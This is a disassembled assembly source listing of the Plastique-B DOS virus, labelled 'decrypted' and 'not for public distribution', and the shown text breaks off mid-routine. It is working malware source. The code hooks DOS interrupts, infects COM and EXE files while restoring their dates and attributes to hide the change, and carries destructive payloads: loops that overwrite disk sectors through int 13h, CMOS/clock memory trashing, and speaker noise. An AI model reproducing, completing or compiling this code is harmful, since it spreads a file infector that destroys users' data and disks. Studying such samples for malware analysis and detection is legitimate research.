home *** CD-ROM | disk | FTP | other *** search
- PAGE 59,132
-
- ;==========================================================================
- ; Plastique-B virus Decrypted source code
- ; Brought to you by Minuite man
- ;
- ; DANGER! Not for public distribution
- ; This source code can be compiled to
- ; Active virus.Always handle viruses
- ; Carefully.
- ;==========================================================================
-
- data_1e equ 3FCh ; (0000:03FC=0F000h)
- data_2e equ 3FEh ; (0000:03FE=16h)
- data_3e equ 3 ; (3E00:0003=0FFFFh)
- data_4e equ 5 ; (3E00:0005=0FFh)
- data_5e equ 18h ; (3E00:0018=0FFFFh)
- data_6e equ 1Ah ; (3E00:001A=0FFFFh)
- data_7e equ 1Ch ; (3E00:001C=0FFFFh)
- data_8e equ 1Eh ; (3E00:001E=0FFFFh)
- data_9e equ 20h ; (3E00:0020=0FFFFh)
- data_10e equ 22h ; (3E00:0022=0FFFFh)
- data_11e equ 48h ; (3E00:0048=0FFFFh)
- data_12e equ 4Ah ; (3E00:004A=0FFFFh)
- data_13e equ 4Eh ; (3E00:004E=0FFFFh)
- data_14e equ 54h ; (3E00:0054=0FFFFh)
- data_15e equ 56h ; (3E00:0056=0FFFFh)
- data_16e equ 58h ; (3E00:0058=0FFFFh)
- data_17e equ 5Ah ; (3E00:005A=0FFFFh)
- data_18e equ 5Ch ; (3E00:005C=0FFFFh)
- data_19e equ 6Ah ; (3E00:006A=0FFh)
- data_20e equ 86h ; (3E00:0086=0FFFFh)
- data_21e equ 88h ; (3E00:0088=0FFFFh)
- data_22e equ 2A6h ; (3E00:02A6=0FFh)
- data_23e equ 3 ; (6C23:0003=0)
- data_24e equ 5 ; (6C23:0005=0)
- data_25e equ 6 ; (6C23:0006=0)
- data_27e equ 0Ah ; (6C23:000A=0)
- data_29e equ 14h ; (6C23:0014=0)
- data_30e equ 16h ; (6C23:0016=0)
- data_31e equ 24h ; (6C23:0024=0)
- data_32e equ 26h ; (6C23:0026=0)
- data_33e equ 28h ; (6C23:0028=0)
- data_34e equ 2Ah ; (6C23:002A=0)
- data_35e equ 2Ch ; (6C23:002C=0)
- data_36e equ 2Eh ; (6C23:002E=0)
- data_37e equ 30h ; (6C23:0030=0)
- data_38e equ 32h ; (6C23:0032=0)
- data_39e equ 34h ; (6C23:0034=0)
- data_41e equ 38h ; (6C23:0038=0)
- data_42e equ 3Ch ; (6C23:003C=0)
- data_43e equ 3Eh ; (6C23:003E=0)
- data_44e equ 42h ; (6C23:0042=0)
- data_45e equ 44h ; (6C23:0044=0)
- data_46e equ 45h ; (6C23:0045=0)
- data_47e equ 62h ; (6C23:0062=0)
- data_48e equ 64h ; (6C23:0064=0)
- data_49e equ 66h ; (6C23:0066=0)
- data_50e equ 68h ; (6C23:0068=0)
- data_51e equ 69h ; (6C23:0069=0)
- data_52e equ 6Ah ; (6C23:006A=0)
- data_68e equ 160Ah ; (6C23:160A=0)
- data_69e equ 690Ah ; (6C23:690A=0)
- data_70e equ 0FA0Ah ; (6C23:FA0A=0)
-
- seg_a segment
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- test proc far
-
- start:
- jmp loc_61 ; (09D3)
- db 0CCh, 1, 0C7h, 24h, 1, 9
- db 0Dh, 92h, 25h, 70h, 0, 0
- db 0, 0, 0, 89h, 19h, 0
- db 1, 53h, 13h, 0, 0, 7Eh
- db 82h, 0, 0, 7Eh, 82h
- db 50h
- data_53 db 2
- data_54 dw 0
- data_55 dw 4269h ; Data table (indexed access)
- db 1Fh, 8Bh, 5, 0, 20h, 0
- db 21h, 0, 80h, 0, 0E6h, 77h
- db 18h, 0, 0AAh, 0, 9, 0Dh
- db 60h, 14h, 1Eh, 2, 56h, 5
- db 6, 6Fh, 73h, 12h, 0, 0F0h
- db 16h, 0, 4Dh, 5Ah, 14h, 0
- db 8, 0, 0, 0, 20h, 0
- db 0, 0, 0FFh, 0FFh, 5, 0
- db 0C4h, 0Bh, 89h, 19h, 0, 9
- db 5, 0, 1Eh, 0, 90h, 90h
- db 1, 0, 70h, 45h, 75h, 42h
- db 0, 0, 0
- db 'ACAD.EXECOMMAND.COM.COM.EXE'
- db 10h, 0, 0, 2, 0, 0
- db 80h, 0, 0B4h, 0D5h, 5Ch, 0
- db 0B4h, 0D5h, 6Ch, 0, 0B4h, 0D5h
- db 'Program: Plastique'
- loc_2:
- and [si],dh
- db '.51 (plastic bomb), '
- copyright db 'Copyright (C) 1988, 1989 by ABT '
- db 'Group.Thanks to: M'
- db 'r. Lin (IECS 762??), Mr. Cheng ('
- db 'FCU Inf-Center)'
- db 1, 0, 0
- data_58 db 0E3h ; Data table (indexed access)
- db 8, 0, 0, 0EBh, 7, 91h
- db 0Ah, 91h, 0Ah, 0BEh, 11h, 0
- db 0, 0D0h, 0Fh, 21h, 15h, 21h
- db 15h, 0DCh, 0Bh, 0, 0, 91h
- db 0Ah, 16h, 0Eh, 16h, 0Eh, 0B7h
- db 17h, 0, 0, 21h, 15h, 2Ch
- db 1Ch, 2Ch, 1Ch, 91h, 0Ah, 16h
- db 0Eh, 33h, 0Bh, 33h, 0Bh, 91h
- db 0Ah, 0FAh, 9, 0FAh, 9, 91h
- db 0Ah, 33h, 0Bh, 33h, 0Bh, 91h
- db 0Ah, 16h, 0Eh, 16h, 0Eh, 0
- db 0, 16h, 0Eh, 0D0h, 0Fh, 0BEh
- db 11h, 0, 0, 0E3h, 8, 0
- db 0, 0EBh, 7, 91h, 0Ah, 91h
- db 0Ah, 0BEh, 11h, 0, 0, 0D0h
- db 0Fh, 21h, 15h, 21h, 15h, 0DCh
- db 0Bh, 0, 0, 91h, 0Ah, 16h
- db 0Eh, 16h, 0Eh, 0B7h, 17h, 0
- db 0, 21h, 15h, 2Ch, 1Ch, 2Ch
- db 1Ch, 91h, 0Ah, 16h, 0Eh, 33h
- db 0Bh, 33h, 0Bh, 91h, 0Ah, 0FAh
- db 9
- data_59 dw 9FAh
- data_60 db 91h
- data_61 db 0Ah
- data_62 dw 0B33h
- data_63 db 33h
-
- test endp
-
- ;==========================================================================
- ;
- ; External Entry Point
- ;
- ;==========================================================================
-
- int_24h_entry proc far
- or dx,ds:data_68e[bx+di] ; (6C23:160A=0)
- push cs
- push ss
- push cs
- add [bx+si],al
- push ss
- push cs
- ror byte ptr [bx],1 ; Rotate
- mov si,11h
- add ds:data_69e[bx+di],dl ; (6C23:690A=0)
- or bx,sp
- or bl,ch
- pop es
- jmp short $+9
- db 91h, 0Ah, 0, 0, 0FAh, 9
- db 0FAh, 9, 64h, 8, 64h, 8
- int_24h_entry endp
-
-
- ;==========================================================================
- ;
- ; External Entry Point
- ;
- ;==========================================================================
-
- int_08h_entry proc far
- push cs
- pop es
- add [bx+si],al
- xchg ax,cx
- or dl,ds:data_70e[bx+di] ; (6C23:FA0A=0)
- or dx,di
- or [bp+si+0Dh],dx
- add [bx+si],al
- xor cx,[bp+di]
- add [bx+si],al
- push ss
- push cs
- add [bx+si],al
- ;* jmp short loc_4 ;*(02F3)
- db 0EBh, 7
- db 0EBh, 7, 91h, 0Ah, 0, 0
- db 33h
- loc_4:
- or si,[bp+di]
- or bp,[bx+di+9]
- db 69h, 9, 0EBh, 7, 0EBh, 7
- db 0, 0, 0E3h, 8, 0, 0
- db 0EBh, 7, 91h, 0Ah, 91h, 0Ah
- db 0BEh, 11h, 0, 0, 0D0h, 0Fh
- db 21h, 15h, 21h, 15h, 0DCh, 0Bh
- db 0, 0, 0F2h, 0Eh, 0D0h, 0Fh
- db 0, 0, 0BEh, 11h, 21h, 15h
- db 0, 0, 3, 2, 3, 3
- db 0Dh, 3, 2, 3, 3, 0Dh
- db 3, 2, 3, 3, 0Dh, 3
- db 2, 3, 3, 0Dh, 7, 3
- db 3, 7, 3, 3, 7, 3
- db 3, 7, 3, 14h, 2, 1
- db 1, 1, 3, 8, 3, 2
- db 3, 3, 0Dh, 3, 2, 3
- db 3, 0Dh, 3, 2, 3, 3
- db 0Dh, 3, 2, 3, 3
- int_08h_entry endp
-
-
- ;==========================================================================
- ;
- ; External Entry Point
- ;
- ;==========================================================================
-
- int_09h_entry proc far
- or ax,307h
- add ax,[bx]
- add ax,[bp+di]
- pop es
- add ax,[bp+di]
- pop es
- add dx,[si]
- add al,[bx+di]
- add [bx+di],ax
- add ax,[bp+di]
- add [bx+di],ax
- add [di],cx
- pop es
- push es
- add [di],cx
- or ax,70Dh
- push es
- add [di],cx
- or ax,70Dh
- push es
- add [si],cx
- add cl,[si]
- add cl,[di]
- pop es
- push es
- add [di],cx
- or ax,0D0Dh
- or ax,0D0Dh
- add ax,[bp+di]
- add ax,[bp+di]
- or ax,303h
- add ax,[bp+di]
- or ax,106h
- add ax,[bp+di]
- add ax,[bp+di]
- add ax,[bx+di]
- db 7 dup (0)
- db 32h, 0C0h, 0CFh, 9Ch, 50h, 2Eh
- db 0A1h, 64h, 0, 2Eh, 39h, 6
- db 3, 0, 58h, 77h, 5, 2Eh
- db 0FFh, 6, 3, 0, 51h, 2Eh
- db 8Bh, 0Eh, 3, 0
-
- locloop_5:
- nop
- loop locloop_5 ; Loop if cx > 0
-
- int 3 ; Debug breakpoint
- pop cx
- popf ; Pop flags
- jmp dword ptr cs:data_39e ; (6C23:0034=0)
- db 9Ch, 0CCh, 2Eh, 0FFh, 6, 3
- db 0, 2Eh, 81h, 3Eh, 3, 0
- db 88h, 13h, 77h, 6, 9Dh, 2Eh
- db 0FFh, 2Eh, 34h, 0, 1Eh, 50h
- db 53h, 0Eh, 1Fh, 8Bh, 1Eh, 22h
- db 1, 0FEh, 0Eh, 21h, 1, 75h
- db 5Dh, 8Bh, 1Eh, 22h, 1, 0FFh
- db 6, 22h, 1, 81h, 0FBh, 80h
- db 0, 75h, 3, 0EBh, 36h, 90h
- loc_6:
- mov al,data_58[bx] ; (6C23:0224=0E3h)
- mov data_53,al ; (6C23:0121=2)
- shl bx,1 ; Shift w/zeros fill
- mov ax,data_55[bx] ; (6C23:0124=4269h)
- cmp ax,0
- je loc_7 ; Jump if equal
- jmp short loc_8 ; (0426)
- db 90h
- loc_7:
- in al,61h ; port 61h, 8255 port B, read
- and al,0FEh
- out 61h,al ; port 61h, 8255 B - spkr, etc
- jmp short loc_10 ; (0454)
- db 90h
- loc_8:
- mov bx,ax
- mov al,0B6h
- out 43h,al ; port 43h, 8253 wrt timr mode
- mov ax,bx
- out 42h,al ; port 42h, 8253 timer 2 spkr
- mov al,ah
- out 42h,al ; port 42h, 8253 timer 2 spkr
- in al,61h ; port 61h, 8255 port B, read
- or al,3
- out 61h,al ; port 61h, 8255 B - spkr, etc
- jmp short loc_10 ; (0454)
- db 90h
- loc_9:
- in al,61h ; port 61h, 8255 port B, read
- and al,0FEh
- out 61h,al ; port 61h, 8255 B - spkr, etc
- mov data_54,0 ; (6C23:0122=0)
- mov data_53,1 ; (6C23:0121=2)
- mov word ptr ds:data_23e,1 ; (6C23:0003=0)
- loc_10:
- pop bx
- pop ax
- pop ds
- popf ; Pop flags
- jmp dword ptr cs:data_39e ; (6C23:0034=0)
- db 0FAh, 50h, 1Eh, 33h, 0C0h, 8Eh
- db 0D8h, 0A0h, 17h, 4, 1Fh, 24h
- db 0Ch, 3Ch, 0Ch, 75h, 2Eh, 0E4h
- db '`$'
- db 7Fh, '<Su&.'
- db 81h, 3Eh, 3, 0, 88h, 13h
- db 72h, 1Dh, 2Eh, 80h, 3Eh, 69h
- db 0, 1, 74h, 3, 0E9h, 93h
- db 0, 0E4h, 61h, 0Ch, 80h, 0E6h
- db 61h, 24h, 7Fh, 0E6h, 61h, 58h
- db 0B0h, 20h, 0E6h, 20h, 0EBh, 1Fh
- db 90h, 58h, 9Ch, 2Eh, 0FFh, 1Eh
- db 6, 0, 0FAh, 2Eh, 0FFh, 6
- db 0Eh, 0, 2Eh, 81h, 3Eh, 0Eh
- db 0, 0A0h, 0Fh, 72h, 6, 2Eh
- db 0C6h, 6, 6Ah, 0, 1
- loc_11:
- sti ; Enable interrupts
- iret ; Interrupt return
- int_09h_entry endp
-
- loc_12:
- mov al,2
- out 21h,al ; port 21h, 8259-1 int comands
- sti ; Enable interrupts
- in al,61h ; port 61h, 8255 port B, read
- and al,0FEh
- out 61h,al ; port 61h, 8255 B - spkr, etc
- mov cs:data_54,0 ; (6C23:0122=0)
- mov cs:data_53,1 ; (6C23:0121=2)
- mov word ptr cs:data_23e,1 ; (6C23:0003=0)
- mov ax,4
- int 10h ; Video display ah=functn 00h
- ; set display mode in al
- mov ax,402h
- push ax
- loc_13:
- mov byte ptr ds:data_52e,0 ; (6C23:006A=0)
- push cs
- pop ax
- mov ds,ax
- mov es,ax
- mov dl,0
-
- ;==========================================================================
- ;
- ; External Entry Point
- ;
- ;==========================================================================
-
- int_13h_entry proc far
- call sub_1 ; (052D)
- jc loc_14 ; Jump if carry Set
- call sub_2 ; (059E)
- loc_14:
- mov dl,1
- call sub_1 ; (052D)
- jc loc_ret_15 ; Jump if carry Set
- call sub_2 ; (059E)
-
- loc_ret_15:
- retn
- int_13h_entry endp
-
- db 0B2h, 80h, 2Eh, 0C7h, 6, 3
- db 0, 0D4h, 12h, 0E8h, 63h, 0
- db 72h, 3, 0E8h
- data_65 dw 0A7h ; Data table (indexed access)
- db 0B2h, 81h, 0E8h, 59h, 0, 72h
- db 3, 0E8h, 9Dh, 0, 0B9h, 40h
- db 0
-
- locloop_16:
- mov al,cl
- out 70h,al ; port 70h, RTC addr/enabl NMI
- ; al = 0, seconds register
- mov al,0FFh
- out 71h,al ; port 71h, RTC clock/RAM data
- loop locloop_16 ; Loop if cx > 0
-
- loc_17:
- nop
- jmp short loc_17 ; (052A)
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_1 proc near
- mov data_61,dl ; (6C23:02A7=0Ah)
- mov ax,201h
- mov cx,1
- mov dh,0
- mov bx,511h
- int 13h ; Disk dl=drive #: ah=func a2h
- ; read sectors to memory es:bx
- jc loc_ret_18 ; Jump if carry Set
- mov si,18h
- mov cx,data_65[si] ; (6C23:0511=0A7h)
- mov data_60,cl ; (6C23:02A6=91h)
- mov si,13h
- mov ax,data_65[si] ; (6C23:0511=0A7h)
- xor dx,dx ; Zero register
- div cx ; ax,dx rem=dx:ax/reg
- mov si,1Ah
- mov cx,data_65[si] ; (6C23:0511=0A7h)
- xor dx,dx ; Zero register
- div cx ; ax,dx rem=dx:ax/reg
- mov data_59,ax ; (6C23:02A4=9FAh)
- mov dl,data_61 ; (6C23:02A7=0Ah)
- mov dh,0
- mov cx,1
- cmp cx,0
-
- loc_ret_18:
- retn
- sub_1 endp
-
- db 0B4h, 8, 88h, 16h, 0A7h, 2
- db 0CDh, 13h, 72h, 22h, 88h, 36h
- db 0AAh, 2, 8Ah, 0C5h, 8Ah, 0E1h
- db 80h, 0E1h, 3Fh, 88h, 0Eh, 0A6h
- db 2, 0B1h, 6, 0D2h, 0ECh, 0A3h
- db 0A4h, 2, 8Ah, 16h, 0A7h, 2
- db 0B6h, 0, 0B9h, 1, 0, 83h
- db 0F9h, 0
-
- loc_ret_19:
- retn
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_2 proc near
- mov bx,98h
- loc_20:
- mov al,data_60 ; (6C23:02A6=91h)
- mov ah,3
- int 13h ; Disk dl=drive #: ah=func a3h
- ; write sectors from mem es:bx
- jnc loc_21 ; Jump if carry=0
- and ah,0C3h
- jnz loc_ret_22 ; Jump if not zero
- loc_21:
- inc ch
- cmp ch,byte ptr data_59 ; (6C23:02A4=0FAh)
- je loc_ret_22 ; Jump if equal
- jmp short loc_20 ; (05A1)
-
- loc_ret_22:
- retn
- sub_2 endp
-
-
- ;==========================================================================
- ; SUBROUTINE
- ;==========================================================================
-
- sub_3 proc near
- mov bx,98h
- mov data_62,0 ; (6C23:02A8=0B33h)
- loc_23:
- mov al,data_60 ; (6C23:02A6=91h)
- mov ah,3
- int 13h ; Disk dl=drive #: ah=func a3h
- ; write sectors from mem es:bx
- inc dh
- cmp dh,data_63 ; (6C23:02AA=33h)
- ja loc_24 ; Jump if above
- jmp short loc_23 ; (05C3)
- loc_24:
- inc data_62 ; (6C23:02A8=0B33h)
- mov dh,0
- mov ax,data_62 ; (6C23:02A8=0B33h)
- cmp ax,data_59 ; (6C23:02A4=9FAh)
- ja loc_ret_25 ; Jump if above
- or al,1
- add ch,al
- jnc loc_23 ; Jump if carry=0
- add cl,40h ; '@'
- jmp short loc_23 ; (05C3)
-
- loc_ret_25:
- retn
- sub_3 endp
-
- db 52h, 80h, 0FCh, 3, 75h, 12h
- db 2Eh, 0C7h, 6, 0Eh, 0, 0
- db 0, 2Eh, 80h, 3Eh, 6Ah, 0
- db 1, 75h, 3, 0BAh, 0FFh, 0FFh
- db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0
- db 5Ah, 0CAh, 2, 0, 9Ch, 3Dh
- db 40h, 4Bh, 75h, 5, 0B8h, 78h
- db 56h, 9Dh, 0CFh, 3Dh, 41h, 4Bh
- db 74h, 1Eh, 3Dh, 0, 4Bh, 75h
- db 3, 0EBh, 34h, 90h
- loc_26:
- cmp ax,3D00h
- jne loc_27 ; Jump if not equal
- cmp byte ptr cs:data_50e,1 ; (6C23:0068=0)
- je loc_27 ; Jump if equal
- jmp short loc_29 ; (065C)
- db 90h
- loc_27:
- popf ; Pop flags
- jmp dword ptr cs:data_41e ; (6C23:0038=0)
- loc_28:
- pop ax
- pop ax
- mov ax,100h
- mov cs:data_29e,ax ; (6C23:0014=0)
- pop ax
- mov cs:data_30e,ax ; (6C23:0016=0)
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- popf ; Pop flags
- call sub_5 ; (09C8)
- mov cx,ds:data_38e ; (6C23:0032=0)
- jmp dword ptr cs:data_29e ; (6C23:0014=0)
- loc_29:
- mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0)
- mov word ptr cs:data_47e,0 ; (6C23:0062=0)
- mov cs:data_31e,dx ; (6C23:0024=0)
- mov cs:data_32e,ds ; (6C23:0026=0)
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- cld ; Clear direction
- mov si,dx
- loc_30:
- mov al,[si]
- or al,al ; Zero ?
- jz loc_32 ; Jump if zero
- cmp al,61h ; 'a'
- jb loc_31 ; Jump if below
- cmp al,7Ah ; 'z'
- ja loc_31 ; Jump if above
- sub byte ptr [si],20h ; ' '
- loc_31:
- inc si
- jmp short loc_30 ; (067F)
- loc_32:
- mov cs:data_49e,si ; (6C23:0066=0)
- mov ax,si
- push cs
- pop es
- mov cx,0Bh
- sub si,cx
- mov di,73h
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
- jnz loc_33 ; Jump if not zero
- jmp loc_59 ; (0997)
- loc_33:
- mov si,ax
- mov cx,8
- sub si,cx
- mov di,6Bh
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
- jnz loc_34 ; Jump if not zero
- mov ax,41Dh
- push ax
- jmp loc_13 ; (04E2)
- loc_34:
- mov ax,4300h
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- jc loc_35 ; Jump if carry Set
- mov cs:data_34e,cx ; (6C23:002A=0)
- loc_35:
- jc loc_41 ; Jump if carry Set
- xor al,al ; Zero register
- mov cs:data_46e,al ; (6C23:0045=0)
- mov si,cs:data_49e ; (6C23:0066=0)
- mov cx,4
- sub si,cx
- mov di,7Eh
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
- jz loc_36 ; Jump if zero
- inc byte ptr cs:data_46e ; (6C23:0045=0)
- mov si,cs:data_49e ; (6C23:0066=0)
- mov cx,4
- sub si,cx
- mov di,82h
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
- jz loc_36 ; Jump if zero
- add cx,0FFFFh
- jmp short loc_41 ; (073F)
- db 90h
- loc_36:
- mov di,dx
- xor dl,dl ; Zero register
- cmp byte ptr [di+1],3Ah ; ':'
- jne loc_37 ; Jump if not equal
- mov dl,[di]
- and dl,1Fh
- loc_37:
- mov ah,36h ; '6'
- int 21h ; DOS Services ah=function 36h
- ; get free space, drive dl,1=a:
- cmp ax,0FFFFh
- jne loc_39 ; Jump if not equal
- loc_38:
- jmp loc_59 ; (0997)
- loc_39:
- mul bx ; dx:ax = reg * ax
- mul cx ; dx:ax = reg * ax
- or dx,dx ; Zero ?
- jnz loc_40 ; Jump if not zero
- cmp ax,0BC4h
- jb loc_38 ; Jump if below
- loc_40:
- mov dx,cs:data_31e ; (6C23:0024=0)
- mov ax,3D00h
- mov byte ptr cs:data_50e,1 ; (6C23:0068=0)
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- mov byte ptr cs:data_50e,0 ; (6C23:0068=0)
- loc_41:
- jc loc_43 ; Jump if carry Set
- mov cs:data_33e,ax ; (6C23:0028=0)
- mov bx,ax
- mov ax,4202h
- mov cx,0FFFFh
- mov dx,0FFFBh
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- jc loc_43 ; Jump if carry Set
- add ax,5
- mov cs:data_38e,ax ; (6C23:0032=0)
- mov ax,4200h
- mov cx,0
- mov dx,12h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- jc loc_43 ; Jump if carry Set
- mov cx,2
- mov dx,60h
- mov di,dx
- mov ax,cs
- mov ds,ax
- mov es,ax
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- mov ax,[di]
- cmp ax,1989h
- jne loc_42 ; Jump if not equal
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- jmp loc_59 ; (0997)
- loc_42:
- mov ax,3524h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov ds:data_42e,bx ; (6C23:003C=0)
- mov ds:data_43e,es ; (6C23:003E=0)
- mov dx,2ABh
- mov ax,2524h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- lds dx,dword ptr ds:data_31e ; (6C23:0024=0) Load 32 bit ptr
- xor cx,cx ; Zero register
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- loc_43:
- jc loc_44 ; Jump if carry Set
- mov bx,cs:data_33e ; (6C23:0028=0)
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0)
- mov ax,3D02h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- jc loc_44 ; Jump if carry Set
- mov cs:data_33e,ax ; (6C23:0028=0)
- mov ax,cs
- mov ds,ax
- mov es,ax
- mov bx,ds:data_33e ; (6C23:0028=0)
- mov ax,5700h
- int 21h ; DOS Services ah=function 57h
- ; get/set file date & time
- mov ds:data_35e,dx ; (6C23:002C=0)
- mov ds:data_36e,cx ; (6C23:002E=0)
- mov ax,4200h
- xor cx,cx ; Zero register
- mov dx,cx
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- loc_44:
- jc loc_47 ; Jump if carry Set
- cmp byte ptr ds:data_46e,0 ; (6C23:0045=0)
- je loc_45 ; Jump if equal
- jmp short loc_49 ; (0867)
- db 90h
- loc_45:
- mov bx,1000h
- mov ah,48h ; 'H'
- int 21h ; DOS Services ah=function 48h
- ; allocate memory, bx=bytes/16
- jnc loc_46 ; Jump if carry=0
- mov ah,3Eh ; '>'
- mov bx,ds:data_33e ; (6C23:0028=0)
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- jmp loc_59 ; (0997)
- loc_46:
- inc word ptr ds:data_47e ; (6C23:0062=0)
- mov es,ax
- xor si,si ; Zero register
- mov di,si
- inc word ptr ds:data_23e ; (6C23:0003=0)
- mov ax,ds:data_23e ; (6C23:0003=0)
- or al,1
- mov ds:data_24e,al ; (6C23:0005=0)
- call sub_4 ; (09A5)
- mov cx,0BC4h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- call sub_4 ; (09A5)
- mov dx,di
- mov cx,ds:data_38e ; (6C23:0032=0)
- mov bx,ds:data_33e ; (6C23:0028=0)
- push es
- pop ds
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- loc_47:
- jc loc_48 ; Jump if carry Set
- add di,cx
- jc loc_48 ; Jump if carry Set
- xor cx,cx ; Zero register
- mov dx,cx
- mov ax,4200h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- mov cx,di
- xor dx,dx ; Zero register
- mov ah,ds:data_19e ; (3E00:006A=0FFh)
- mov ds:data_22e,ah ; (3E00:02A6=0FFh)
- mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh)
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- mov ah,ds:data_22e ; (3E00:02A6=0FFh)
- mov ds:data_19e,ah ; (3E00:006A=0FFh)
- loc_48:
- jc loc_50 ; Jump if carry Set
- jmp loc_57 ; (0952)
- loc_49:
- mov cx,1Ch
- mov dx,46h
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- loc_50:
- jc loc_52 ; Jump if carry Set
- cmp word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh)
- je loc_52 ; Jump if equal
- mov word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh)
- mov ax,ds:data_14e ; (3E00:0054=0FFFFh)
- mov ds:data_6e,ax ; (3E00:001A=0FFFFh)
- mov ax,ds:data_15e ; (3E00:0056=0FFFFh)
- mov ds:data_5e,ax ; (3E00:0018=0FFFFh)
- mov ax,ds:data_17e ; (3E00:005A=0FFFFh)
- mov ds:data_7e,ax ; (3E00:001C=0FFFFh)
- mov ax,ds:data_18e ; (3E00:005C=0FFFFh)
- mov ds:data_8e,ax ; (3E00:001E=0FFFFh)
- mov ax,ds:data_12e ; (3E00:004A=0FFFFh)
- cmp word ptr ds:data_11e,0 ; (3E00:0048=0FFFFh)
- je loc_51 ; Jump if equal
- dec ax
- loc_51:
- mul word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax = data * ax
- add ax,ds:data_11e ; (3E00:0048=0FFFFh)
- adc dx,0
- add ax,0Fh
- adc dx,0
- and ax,0FFF0h
- mov ds:data_9e,ax ; (3E00:0020=0FFFFh)
- mov ds:data_10e,dx ; (3E00:0022=0FFFFh)
- add ax,0BC4h
- adc dx,0
- loc_52:
- jc loc_54 ; Jump if carry Set
- div word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax,dxrem=dx:ax/da
- or dx,dx ; Zero ?
- jz loc_53 ; Jump if zero
- inc ax
- loc_53:
- mov ds:data_12e,ax ; (3E00:004A=0FFFFh)
- mov ds:data_11e,dx ; (3E00:0048=0FFFFh)
- mov ax,ds:data_9e ; (3E00:0020=0FFFFh)
- mov dx,ds:data_10e ; (3E00:0022=0FFFFh)
- div word ptr ds:data_20e ; (3E00:0086=0FFFFh) ax,dxrem=dx:ax/da
- sub ax,ds:data_13e ; (3E00:004E=0FFFFh)
- mov ds:data_18e,ax ; (3E00:005C=0FFFFh)
- mov word ptr ds:data_17e,900h ; (3E00:005A=0FFFFh)
- mov ds:data_14e,ax ; (3E00:0054=0FFFFh)
- mov word ptr ds:data_15e,0BC4h ; (3E00:0056=0FFFFh)
- xor cx,cx ; Zero register
- mov dx,cx
- mov ax,4200h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- loc_54:
- jc loc_55 ; Jump if carry Set
- mov cx,1Ch
- mov dx,46h
- mov ah,ds:data_19e ; (3E00:006A=0FFh)
- mov ds:data_22e,ah ; (3E00:02A6=0FFh)
- mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh)
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- mov ah,ds:data_22e ; (3E00:02A6=0FFh)
- mov ds:data_19e,ah ; (3E00:006A=0FFh)
- loc_55:
- jc loc_56 ; Jump if carry Set
- cmp ax,cx
- jne loc_57 ; Jump if not equal
- mov dx,ds:data_9e ; (3E00:0020=0FFFFh)
- mov cx,ds:data_10e ; (3E00:0022=0FFFFh)
- mov ax,4200h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- loc_56:
- jc loc_57 ; Jump if carry Set
- inc word ptr ds:data_3e ; (3E00:0003=0FFFFh)
- mov ax,ds:data_3e ; (3E00:0003=0FFFFh)
- or al,1
- mov ds:data_4e,al ; (3E00:0005=0FFh)
- call sub_4 ; (09A5)
- xor dx,dx ; Zero register
- mov cx,0BC4h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- call sub_4 ; (09A5)
- loc_57:
- cmp word ptr cs:data_47e,0 ; (6C23:0062=0)
- je loc_58 ; Jump if equal
- mov ah,49h ; 'I'
- int 21h ; DOS Services ah=function 49h
- ; release memory block, es=seg
- loc_58:
- cmp word ptr cs:data_33e,0FFFFh ; (6C23:0028=0)
- je loc_59 ; Jump if equal
- mov bx,cs:data_33e ; (6C23:0028=0)
- mov dx,cs:data_35e ; (6C23:002C=0)
- mov cx,cs:data_36e ; (6C23:002E=0)
- mov ax,5701h
- int 21h ; DOS Services ah=function 57h
- ; get/set file date & time
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- lds dx,dword ptr cs:data_31e ; (6C23:0024=0) Load 32 bit ptr
- mov cx,cs:data_34e ; (6C23:002A=0)
- mov ax,4301h
